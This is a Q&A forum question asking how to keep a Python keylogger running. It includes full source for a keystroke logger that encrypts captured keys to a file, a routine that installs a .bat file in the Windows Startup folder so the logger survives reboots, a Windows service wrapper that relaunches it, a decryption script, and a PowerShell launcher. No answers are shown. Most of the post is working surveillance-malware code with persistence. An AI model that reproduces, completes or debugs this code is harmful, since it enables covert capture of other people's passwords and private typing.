user26861962
user26861962

Reputation: 1

How to Ensure a Python Script Runs Continuously and Saves to a txt File Using VBA Macro, Task Scheduler, or Python Itself?

So I am working on a keylogger for a side project of mine. It runs and saves beautifully in the IDE but every time I try to run it on my computer through Powershell, Python, a VBA Macro or something else it will run but only very quickly and then it won't save to the file I want it to at all. I would have though it wasn't pointing to the files correctly but if its saving after the IDE then its a different issue right?

This is the Python Code for the program itself

import sys
import os
import time
from pynput import keyboard
from cryptography.fernet import Fernet
from threading import Thread, Event

# Global variables
keys = []
log_file = sys.argv[1] if len(sys.argv) > 1 else r"C:\Users\Jon\AppData\Roaming\JetBrains\PyCharmCE2024.1\scratches\key_log_encrypted.txt"
stop_event = Event()

def generate_and_store_key():
    key = Fernet.generate_key()
    with open(r"C:\Users\Jon\PycharmProjects\keylogger\encryption_key.key", "wb") as key_file:
        key_file.write(key)

def load_key():
    return open(r"C:\Users\Jon\PycharmProjects\keylogger\encryption_key.key", "rb").read()

def encrypt_message(message, key):
    f = Fernet(key)
    return f.encrypt(message.encode())

def on_press(key):
    try:
        keys.append(str(key.char))
    except AttributeError:
        keys.append(f" [{key}] ")
    print(f"Key pressed: {key}")

def on_release(key):
    if key == keyboard.Key.esc:
        print("Esc key pressed. Exiting...")
        stop_event.set()  # Set the stop event
        return False  # This will stop the listener

def write_to_file():
    key = load_key()
    while not stop_event.is_set():
        if keys:  # Write only if there are keys in the list
            encrypted_keys = encrypt_message(''.join(keys), key)
            with open(log_file, "ab") as f:
                f.write(encrypted_keys + b"\n")
            keys.clear()
        time.sleep(10)  # Adjust this delay as necessary

def start_listener():
    # Start the keyboard listener
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

def create_bat_file():
    """
    Create a .bat file for startup only if it doesn't already exist.
    """
    script_path = os.path.abspath(__file__)  # Path to the current script
    startup_folder = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')
    bat_file_path = os.path.join(startup_folder, "keylogger_startup.bat")

    if not os.path.exists(bat_file_path):  # Only create the .bat file if it doesn't exist
        bat_content = (
            f'@echo off\n'
            f'"C:\\Users\\Jon\\AppData\\Local\\Programs\\Python\\Python312\\pythonw.exe" -i "{script_path}"\n'
            f'exit'
        )
        with open(bat_file_path, "w") as bat_file:
            bat_file.write(bat_content)
        print(f".bat file created at: {bat_file_path}")
    else:
        print(f".bat file already exists at: {bat_file_path}")

def run_keylogger_continuously():
    """
    Run the keylogger in a loop, restarting it if it stops.
    """
    while True:
        try:
            stop_event.clear()

            # Start the keylogger and writing process in parallel
            listener_thread = Thread(target=start_listener)
            writer_thread = Thread(target=write_to_file)

            listener_thread.start()
            writer_thread.start()

            listener_thread.join()
            stop_event.set()  # Ensure the write thread stops after listener stops
            writer_thread.join()

            print("Keylogger stopped unexpectedly. Restarting...")
        except Exception as e:
            print(f"An error occurred: {e}")
            time.sleep(5)  # Delay before restarting the keylogger

if __name__ == "__main__":
    # Uncomment the line below to generate and store a key (do this only once)
    # generate_and_store_key()

    # Create the .bat file for automatic startup if it doesn't exist
    create_bat_file()

    # Run the keylogger continuously
    run_keylogger_continuously()

    # Keep the Python interpreter running interactively after the script finishes
    input('Press ENTER to exit')

This was when I was trying to use Win32 to do this but neither that nor servicemanager were able to install or work for me so I was trying to workaround it. SO this would be for the my_keylogger_service (it didn't work but did create the service)

import time
import win32serviceutil
import win32service
import win32event
import os
import logging

class MyKeyLoggerService(win32serviceutil.ServiceFramework):
    _svc_name_ = "MyKeyLoggerService"
    _svc_display_name_ = "My Key Logger Service"
    _svc_description_ = "Logs keystrokes in the background as a Windows Service."

    def __init__(self, args):
        win32serviceutil.ServiceFramework.__init__(self, args)
        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
        self.run = True

        # Set up logging
        logging.basicConfig(
            filename=r'C:\Users\Jon\PycharmProjects\keylogger\keylogger_service.log',
            level=logging.INFO,
            format='%(asctime)s %(levelname)s: %(message)s'
        )

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        win32event.SetEvent(self.hWaitStop)
        self.run = False
        logging.info('Service is stopping.')

    def SvcDoRun(self):
        logging.info('Service has started.')
        self.main()

    def main(self):
        # Path to your keylogger script
        keylogger_script_path = r'C:\Users\Jon\PycharmProjects\keylogger\key_log_encrypt.py'
        while self.run:
            # Running the keylogger script
            os.system(f'python "{keylogger_script_path}"')
            logging.info('Keylogger script executed.')
            time.sleep(60)  # Adjust the frequency as necessary

if __name__ == '__main__':
    win32serviceutil.HandleCommandLine(MyKeyLoggerService)

This is the decrypt.py file

# Decryption script
import sys
from cryptography.fernet import Fernet

# Load the encryption key
def load_key():
    return open("encryption_key.key", "rb").read()

# Decrypt the message
def decrypt_message(encrypted_message, key):
    f = Fernet(key)
    return f.decrypt(encrypted_message).decode()

# Decrypt and print the encrypted log file
import sys

def decrypt_log_file(log_file_path):
    key = load_key()  # Load the encryption key
    with open(log_file_path, "rb") as f:
        for line in f.readlines():
            decrypted_message = decrypt_message(line.strip(), key)
            print(decrypted_message)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python key_log_encrypt.py <log_file_path>")
        sys.exit(1)

    log_file_path = sys.argv[1]
    decrypt_log_file(log_file_path)


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python key_log_encrypt.py <log_file_path>")
        sys.exit(1)


# Run the decryption
log_file_path = sys.argv[1]
decrypt_log_file()

And heres the Powershell

# Define the task name and paths
$taskName = "MyKeyLogger"
$scriptPath = "C:\Users\Jon\PycharmProjects\keylogger\key_log_encrypt.py"
$logFile = "C:\Users\Jon\PycharmProjects\keylogger\key_log_encrypted.txt"
$errorlogFile = "C:\Users\Jon\PycharmProjects\keylogger\error_log.txt"
$pythonExePath = "C:\Users\Jon\AppData\Local\Programs\Python\Python312\python.exe"

# Function to run the Python script indefinitely
function Run-PythonScriptIndefinitely {
    param (
        [string]$pythonExePath,
        [string]$scriptPath,
        [string]$errorlogFile
    )

    Try {
        # Start the Python script
        Start-Process -FilePath $pythonExePath -ArgumentList $scriptPath -NoNewWindow -ErrorAction Stop
        Write-Host "Python keylogger script started."
    }
    Catch {
        Write-Host "An error occurred while starting the Python keylogger script: $($_.Exception.Message)"
        Add-Content -Path $errorlogFile -Value $($_.Exception.Message)
    }
}

# Start the Python script and let it run indefinitely
Run-PythonScriptIndefinitely -pythonExePath $pythonExePath -scriptPath $scriptPath -errorlogFile $errorlogFile

# Note: The script is now started and left running. The PowerShell script will exit, but the Python process will continue.

I try to run it on my computer through Powershell, Python, a VBA Macro and a .bat file.It will run but only very quickly and then it won't save to the file I want it to at all. I would have though it wasn't pointing to the files correctly but if its saving after the IDE then its a different issue right? Beside what I already posted above I did try to modify my Python code to loop so it would run longer but then I created an infinite loop.I also tried to do the same with Powershell but it ran, then stopped, and then reran again.

Upvotes: 0

Views: 42

Answers (0)

Related Questions